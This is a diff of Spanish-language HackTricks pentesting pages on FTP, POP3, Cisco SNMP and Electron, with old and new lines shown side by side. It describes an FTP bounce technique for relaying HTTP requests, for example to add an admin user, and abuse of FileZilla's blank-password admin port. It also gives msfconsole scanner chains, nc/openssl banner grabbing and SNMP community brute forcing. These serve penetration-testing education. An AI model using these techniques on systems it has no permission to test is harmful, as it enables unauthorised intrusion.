Algunos servidores FTP permiten el comando PORT. Este comando se puede usar para indicar al servidor que desea conectarse a otro servidor FTP en algún puerto. Luego, puedes usar esto para escanear qué puertos de un host están abiertos a través de un servidor FTP. Algunos servidores FTP permiten el comando PORT. Este comando se puede usar para indicar al servidor que deseas conectarte a otro servidor FTP en algún puerto. Luego, puedes usar esto para escanear qué puertos de un host están abiertos a través de un servidor FTP.
[**Aprende aquí cómo abusar de un servidor FTP para escanear puertos.**](ftp-bounce-attack.md) [**Aprende aquí cómo abusar de un servidor FTP para escanear puertos.**](ftp-bounce-attack.md)
También podrías abusar de este comportamiento para hacer que un servidor FTP interactúe con otros protocolos. Podrías **subir un archivo que contenga una solicitud HTTP** y hacer que el servidor FTP vulnerable **la envíe a un servidor HTTP arbitrario** (_¡quizás para agregar un nuevo usuario administrador!_) o incluso subir una solicitud FTP y hacer que el servidor FTP vulnerable descargue un archivo para un servidor FTP diferente.\ También podrías abusar de este comportamiento para hacer que un servidor FTP interactúe con otros protocolos. Podrías **subir un archivo que contenga una solicitud HTTP** y hacer que el servidor FTP vulnerable **la envíe a un servidor HTTP arbitrario** (_¿quizás para agregar un nuevo usuario administrador?_) o incluso subir una solicitud FTP y hacer que el servidor FTP vulnerable descargue un archivo de otro servidor FTP.\
La teoría es sencilla: La teoría es fácil:
1. **Sube la solicitud (dentro de un archivo de texto) al servidor vulnerable.** Recuerda que si deseas comunicarte con otro servidor HTTP o FTP, debes cambiar las líneas con `0x0d 0x0a` 1. **Sube la solicitud (dentro de un archivo de texto) al servidor vulnerable.** Recuerda que si deseas hablar con otro servidor HTTP o FTP necesitas cambiar líneas con `0x0d 0x0a`
2. **Usa `REST X` para evitar enviar los caracteres que no deseas enviar** (quizás para subir la solicitud dentro del archivo necesitabas poner algún encabezado de imagen al principio) 2. **Usa `REST X` para evitar enviar los caracteres que no deseas enviar** (quizás para subir la solicitud dentro del archivo necesitabas poner algún encabezado de imagen al principio)
3. **Usa `PORT` para conectarte al servidor y servicio arbitrarios** 3. **Usa `PORT` para conectarte al servidor y servicio arbitrarios**
4. **Usa `RETR` para enviar la solicitud guardada al servidor.** 4. **Usa `RETR` para enviar la solicitud guardada al servidor.**
Es muy probable que esto **genere un error como** _**Socket no escribible**_ **porque la conexión no dura lo suficiente para enviar los datos con `RETR`**. Algunas sugerencias para intentar evitar eso son: Es muy probable que esto **produzca un error como** _**Socket no writable**_ **porque la conexión no dura lo suficiente para enviar los datos con `RETR`**. Sugerencias para intentar evitar eso son:
* Si estás enviando una solicitud HTTP, **pon la misma solicitud una tras otra** hasta **\~0.5MB** como mínimo. Así: * Si estás enviando una solicitud HTTP, **pon la misma solicitud una tras otra** hasta **\~0.5MB** al menos. Así:
{% file src="../../.gitbook/assets/posts.txt" %} {% file src="../../.gitbook/assets/posts.txt" %}
posts.txt posts.txt
{% endfile %} {% endfile %}
* Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP quizás solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo) * Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP, tal vez solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo)
* Simplemente **llena la solicitud con muchos caracteres nulos u otros** (divididos en líneas o no) * Simplemente **llena la solicitud con muchos caracteres nulos u otros** (divididos en líneas o no)
De todos modos, aquí tienes un [ejemplo antiguo sobre cómo abusar de esto para hacer que un servidor FTP descargue un archivo de un servidor FTP diferente.](ftp-bounce-download-2oftp-file.md) De todos modos, aquí tienes un [viejo ejemplo sobre cómo abusar de esto para hacer que un servidor FTP descargue un archivo de otro servidor FTP.](ftp-bounce-download-2oftp-file.md)
## Vulnerabilidad del Servidor Filezilla ## Vulnerabilidad del servidor Filezilla
**FileZilla** generalmente se **vincula** a un **servicio administrativo local** para el **Servidor FileZilla** (puerto 14147). Si puedes crear un **túnel** desde **tu máquina** para acceder a este puerto, puedes **conectarte** a **él** usando una **contraseña en blanco** y **crear** un **nuevo usuario** para el servicio FTP. **FileZilla** generalmente **se vincula** a **local** un **servicio administrativo** para el **FileZilla-Server** (puerto 14147). Si puedes crear un **túnel** desde **tu máquina** para acceder a este puerto, puedes **conectarte** a **él** usando una **contraseña en blanco** y **crear** un **nuevo usuario** para el servicio FTP.
## Archivos de configuración ## Archivos de configuración
``` ```
@ -202,24 +205,24 @@ ftp.conf
proftpd.conf proftpd.conf
vsftpd.conf vsftpd.conf
``` ```
### Post-Explotación ### Post-Exploitation
La configuración predeterminada de vsFTPd se puede encontrar en `/etc/vsftpd.conf`. Aquí, podrías encontrar algunas configuraciones peligrosas: La configuración predeterminada de vsFTPd se puede encontrar en `/etc/vsftpd.conf`. Aquí, podrías encontrar algunas configuraciones peligrosas:
- `anonymous_enable=YES` * `anonymous_enable=YES`
- `anon_upload_enable=YES` * `anon_upload_enable=YES`
- `anon_mkdir_write_enable=YES` * `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - Directorio para anónimos. * `anon_root=/home/username/ftp` - Directorio para anónimos.
- `chown_uploads=YES` - Cambiar la propiedad de los archivos cargados de forma anónima * `chown_uploads=YES` - Cambiar la propiedad de los archivos subidos anónimamente
- `chown_username=username` - Usuario al que se le da la propiedad de los archivos cargados de forma anónima * `chown_username=username` - Usuario que recibe la propiedad de los archivos subidos anónimamente
- `local_enable=YES` - Permitir a los usuarios locales iniciar sesión * `local_enable=YES` - Permitir que los usuarios locales inicien sesión
- `no_anon_password=YES` - No pedir contraseña a los anónimos * `no_anon_password=YES` - No preguntar a los anónimos por la contraseña
- `write_enable=YES` - Permitir comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE y SITE * `write_enable=YES` - Permitir comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, y SITE
### Shodan ### Shodan
- `ftp` * `ftp`
- `port:21` * `port:21`
*** ***
@ -231,7 +234,7 @@ La configuración predeterminada de vsFTPd se puede encontrar en `/etc/vsftpd.co
*** ***
## Comandos Automáticos de HackTricks ## HackTricks Automatic Commands
``` ```
Protocol_Name: FTP #Protocol Abbreviation if there is one. Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one. Port_Number: 21 #Comma separated if there is more than one.
@ -283,14 +286,17 @@ Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# 110,995 - Pentesting POP # 110,995 - Pentesting POP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,7 +25,7 @@
## Información Básica ## Información Básica
**Protocolo de Oficina de Correos (POP)** se describe como un protocolo dentro del ámbito de la informática en red y de Internet, que se utiliza para la extracción y **recuperación de correos electrónicos de un servidor de correo remoto**, haciéndolos accesibles en el dispositivo local. Situado en la capa de aplicación del modelo OSI, este protocolo permite a los usuarios obtener y recibir correos electrónicos. El funcionamiento de los **clientes POP** generalmente implica establecer una conexión con el servidor de correo, descargar todos los mensajes, almacenar estos mensajes localmente en el sistema del cliente y posteriormente eliminarlos del servidor. Aunque existen tres iteraciones de este protocolo, **POP3** destaca como la versión más empleada. **Post Office Protocol (POP)** se describe como un protocolo dentro del ámbito de las redes informáticas y de Internet, que se utiliza para la extracción y **recuperación de correos electrónicos de un servidor de correo remoto**, haciéndolos accesibles en el dispositivo local. Posicionado dentro de la capa de aplicación del modelo OSI, este protocolo permite a los usuarios obtener y recibir correos electrónicos. La operación de los **clientes POP** generalmente implica establecer una conexión con el servidor de correo, descargar todos los mensajes, almacenar estos mensajes localmente en el sistema del cliente y posteriormente eliminarlos del servidor. Aunque hay tres iteraciones de este protocolo, **POP3** se destaca como la versión más empleada.
**Puertos predeterminados:** 110, 995(ssl) **Puertos predeterminados:** 110, 995(ssl)
``` ```
@ -31,7 +34,7 @@ PORT STATE SERVICE
``` ```
## Enumeración ## Enumeración
### Obtención de banners ### Captura de Banner
```bash ```bash
nc -nv <IP> 110 nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet openssl s_client -connect <IP>:995 -crlf -quiet
@ -91,17 +94,17 @@ password: PA$$W0RD!Z
``` ```
## Configuraciones Peligrosas ## Configuraciones Peligrosas
Desde [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Configuración** | **Descripción** | | **Configuración** | **Descripción** |
| ------------------------- | ----------------------------------------------------------------------------------------- | | ------------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Habilita todo el registro de depuración de autenticación. | | `auth_debug` | Habilita todos los registros de depuración de autenticación. |
| `auth_debug_passwords` | Esta configuración ajusta la verbosidad del registro, se registran las contraseñas enviadas y el esquema. | | `auth_debug_passwords` | Esta configuración ajusta la verbosidad de los registros, las contraseñas enviadas y el esquema se registra. |
| `auth_verbose` | Registra intentos de autenticación fallidos y sus razones. | | `auth_verbose` | Registra intentos de autenticación fallidos y sus razones. |
| `auth_verbose_passwords` | Las contraseñas utilizadas para la autenticación se registran y también pueden truncarse. | | `auth_verbose_passwords` | Las contraseñas utilizadas para la autenticación se registran y también pueden ser truncadas. |
| `auth_anonymous_username` | Esto especifica el nombre de usuario que se utilizará al iniciar sesión con el mecanismo SASL ANONYMOUS. | | `auth_anonymous_username` | Esto especifica el nombre de usuario que se utilizará al iniciar sesión con el mecanismo ANONYMOUS SASL. |
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -150,13 +153,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
``` ```
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,45 +1,48 @@
# Cisco SNMP # Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Pentesting en Redes Cisco ## Pentesting Cisco Networks
**SNMP** funciona sobre UDP con los puertos 161/UDP para mensajes generales y 162/UDP para mensajes de trampas. Este protocolo se basa en cadenas de comunidad, que funcionan como contraseñas que permiten la comunicación entre agentes SNMP y servidores. Estas cadenas son fundamentales ya que determinan los niveles de acceso, específicamente **permisos de solo lectura (RO) o lectura-escritura (RW)**. Un vector de ataque notable para pentesters es la **fuerza bruta de cadenas de comunidad**, con el objetivo de infiltrarse en dispositivos de red. **SNMP** funciona sobre UDP con puertos 161/UDP para mensajes generales y 162/UDP para mensajes de trampa. Este protocolo se basa en cadenas de comunidad, que sirven como contraseñas que permiten la comunicación entre agentes y servidores SNMP. Estas cadenas son fundamentales ya que determinan los niveles de acceso, específicamente **permisos de solo lectura (RO) o lectura-escritura (RW)**. Un vector de ataque notable para los pentesters es la **fuerza bruta de cadenas de comunidad**, con el objetivo de infiltrarse en dispositivos de red.
Una herramienta práctica para ejecutar este tipo de ataques de fuerza bruta es [**onesixtyone**](https://github.com/trailofbits/onesixtyone), que requiere una lista de posibles cadenas de comunidad y las direcciones IP de los objetivos: Una herramienta práctica para ejecutar tales ataques de fuerza bruta es [**onesixtyone**](https://github.com/trailofbits/onesixtyone), que requiere una lista de posibles cadenas de comunidad y las direcciones IP de los objetivos:
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c communitystrings -i targets
``` ```
#### `cisco_config_tftp` #### `cisco_config_tftp`
El framework Metasploit cuenta con el módulo `cisco_config_tftp`, que facilita la extracción de configuraciones de dispositivos, siempre y cuando se adquiera una cadena de comunidad RW. Los parámetros esenciales para esta operación incluyen: El marco de Metasploit cuenta con el módulo `cisco_config_tftp`, que facilita la extracción de configuraciones de dispositivos, dependiendo de la obtención de una cadena de comunidad RW. Los parámetros esenciales para esta operación incluyen:
* Cadena de comunidad RW (**COMMUNITY**) * Cadena de comunidad RW (**COMMUNITY**)
* IP del atacante (**LHOST**) * IP del atacante (**LHOST**)
* IP del dispositivo objetivo (**RHOSTS**) * IP del dispositivo objetivo (**RHOSTS**)
* Ruta de destino para los archivos de configuración (**OUTPUTDIR**) * Ruta de destino para los archivos de configuración (**OUTPUTDIR**)
Una vez configurado, este módulo permite la descarga de ajustes del dispositivo directamente a una carpeta especificada. Una vez configurado, este módulo permite la descarga de la configuración del dispositivo directamente a una carpeta especificada.
#### `snmp_enum` #### `snmp_enum`
Otro módulo de Metasploit, **`snmp_enum`**, se especializa en recopilar información detallada del hardware. Opera con cualquier tipo de cadena de comunidad y requiere la dirección IP del objetivo para una ejecución exitosa: Otro módulo de Metasploit, **`snmp_enum`**, se especializa en recopilar información detallada del hardware. Funciona con cualquier tipo de cadena de comunidad y requiere la dirección IP del objetivo para una ejecución exitosa:
```bash ```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -49,20 +52,23 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# RCE de contextIsolation de Electron a través del código interno de Electron # Electron contextIsolation RCE a través del código interno de Electron
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Ejemplo 1 ## Ejemplo 1
